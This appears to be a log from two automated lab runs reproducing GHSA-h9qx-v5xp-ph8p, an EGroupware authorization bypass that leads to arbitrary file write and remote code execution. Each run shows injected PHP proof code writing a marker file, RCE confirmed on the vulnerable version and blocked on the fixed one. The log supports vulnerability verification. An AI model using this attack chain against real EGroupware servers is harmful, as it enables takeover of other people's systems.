==========================================================
GHSA-h9qx-v5xp-ph8p reproduction @ 2026-07-07T22:41:26Z
==========================================================
[+] Ensuring docker images are present...
[+] ### VULNERABLE stack (26.2.20260216) ###
[+] Starting egw_db_vuln (tag 26.2.20260216)
[+] Waiting for egw_db_vuln to be healthy...
[+] Starting egroupware_vuln / egw_nginx_vuln
[+] Waiting for egroupware_vuln install to finish (attempt 1)...
[+] egroupware_vuln ready after 7x5s (attempt 1)
nginx->fpm OK
[+] vuln attacker_id=7
[+] attacker logged in on egroupware_vuln
{"response":[{"type":"message","data":{"message":"An error happened!\n\nClass \"EGroupware\\SmallParT\\Widgets\\Api\\Exception\\NoPermission\" not found\n\n\/usr\/share\/egroupware\/smallpart\/src\/Widgets\/SmallPartMediaRecorder.php (21)","type":"error"}}],"page_generation_time":"0.02"}
[+] no-bypass denied? 1
0
0
payload size 3698
{"response":[{"type":"data","data":{"status":0,"offset":0}}],"page_generation_time":"0.00","session_restore_time":"0.00"}
[+] bypass status:0? 1 ; header has injected code? count=1
<?php
/* PRUVA RCE PROOF GHSA-h9qx-v5xp-ph8p */
file_put_contents("/var/lib/egroupware/pruva_rce_marker.txt", "PRUVA_RCE_CONFIRMED ".phpversion()." ".date("c"));
/**
[+] ### RCE: restart egroupware_vuln to clear OPcache, then trigger ###
[+] Waiting for egroupware_vuln install to finish (attempt 1)...
[+] egroupware_vuln ready after 2x5s (attempt 1)
[+] header still injected after restart? count=1
PRUVA_RCE_CONFIRMED 8.5.3 2026-07-07T22:42:21+00:00
[+] vuln RCE confirmed? 1 (marker: PRUVA_RCE_CONFIRMED 8.5.3 2026-07-07T22:42:21+00:00)
[+] ### FIXED stack (26.2.20260224) ###
[+] Starting egw_db_fixed (tag 26.2.20260224)
[+] Waiting for egw_db_fixed to be healthy...
[+] Starting egroupware_fixed / egw_nginx_fixed
[+] Waiting for egroupware_fixed install to finish (attempt 1)...
[+] egroupware_fixed ready after 8x5s (attempt 1)
[+] fixed attacker_id=7
[+] attacker logged in on egroupware_fixed
payload size 3700
{"response":[{"type":"message","data":{"message":"An error happened!\n\nClass \"EGroupware\\SmallParT\\Widgets\\Api\\Exception\\NoPermission\" not found\n\n\/usr\/share\/egroupware\/smallpart\/src\/Widgets\/SmallPartMediaRecorder.php (22)","type":"error"}}],"page_generation_time":"0.02"}
bundle/repro/reproduction_steps.sh: line 282: [: 0
0: integer expected
[+] fixed blocked? 1 (codecount=0
0)
[+] fixed: no RCE marker (expected)
[+] ==================== VERDICT ====================
[+] no-bypass denied (vuln)    : 1
[+] file write confirmed (vuln): 1
[+] RCE confirmed (vuln)       : 1
[+] fixed blocked              : 1
[+] ================================================
[+] RESULT: ISSUE CONFIRMED (authz bypass + arbitrary file write + RCE; fixed version blocks it).
==========================================================
GHSA-h9qx-v5xp-ph8p reproduction @ 2026-07-07T22:43:51Z
==========================================================
[+] Ensuring docker images are present...
[+] ### VULNERABLE stack (26.2.20260216) ###
[+] Starting egw_db_vuln (tag 26.2.20260216)
[+] Waiting for egw_db_vuln to be healthy...
[+] Starting egroupware_vuln / egw_nginx_vuln
[+] Waiting for egroupware_vuln install to finish (attempt 1)...
[+] egroupware_vuln ready after 7x5s (attempt 1)
nginx->fpm OK
[+] vuln attacker_id=7
[+] attacker logged in on egroupware_vuln
{"response":[{"type":"message","data":{"message":"An error happened!\n\nClass \"EGroupware\\SmallParT\\Widgets\\Api\\Exception\\NoPermission\" not found\n\n\/usr\/share\/egroupware\/smallpart\/src\/Widgets\/SmallPartMediaRecorder.php (21)","type":"error"}}],"page_generation_time":"0.02"}
[+] no-bypass denied? 1
0
payload size 3698
{"response":[{"type":"data","data":{"status":0,"offset":0}}],"page_generation_time":"0.00","session_restore_time":"0.00"}
[+] bypass status:0? 1 ; header has injected code? count=1
<?php
/* PRUVA RCE PROOF GHSA-h9qx-v5xp-ph8p */
file_put_contents("/var/lib/egroupware/pruva_rce_marker.txt", "PRUVA_RCE_CONFIRMED ".phpversion()." ".date("c"));
/**
[+] ### RCE: restart egroupware_vuln to clear OPcache, then trigger ###
[+] Waiting for egroupware_vuln install to finish (attempt 1)...
[+] egroupware_vuln ready after 2x5s (attempt 1)
[+] header still injected after restart? count=1
PRUVA_RCE_CONFIRMED 8.5.3 2026-07-07T22:44:47+00:00
[+] vuln RCE confirmed? 1 (marker: PRUVA_RCE_CONFIRMED 8.5.3 2026-07-07T22:44:47+00:00)
[+] ### FIXED stack (26.2.20260224) ###
[+] Starting egw_db_fixed (tag 26.2.20260224)
[+] Waiting for egw_db_fixed to be healthy...
[+] Starting egroupware_fixed / egw_nginx_fixed
[+] Waiting for egroupware_fixed install to finish (attempt 1)...
[+] egroupware_fixed ready after 7x5s (attempt 1)
[+] fixed attacker_id=7
[+] attacker logged in on egroupware_fixed
payload size 3699
{"response":[{"type":"message","data":{"message":"An error happened!\n\nClass \"EGroupware\\SmallParT\\Widgets\\Api\\Exception\\NoPermission\" not found\n\n\/usr\/share\/egroupware\/smallpart\/src\/Widgets\/SmallPartMediaRecorder.php (22)","type":"error"}}],"page_generation_time":"0.02"}
[+] fixed blocked? 1 (codecount=0)
[+] fixed: no RCE marker (expected)
[+] ==================== VERDICT ====================
[+] no-bypass denied (vuln)    : 1
[+] file write confirmed (vuln): 1
[+] RCE confirmed (vuln)       : 1
[+] fixed blocked              : 1
[+] ================================================
[+] RESULT: ISSUE CONFIRMED (authz bypass + arbitrary file write + RCE; fixed version blocks it).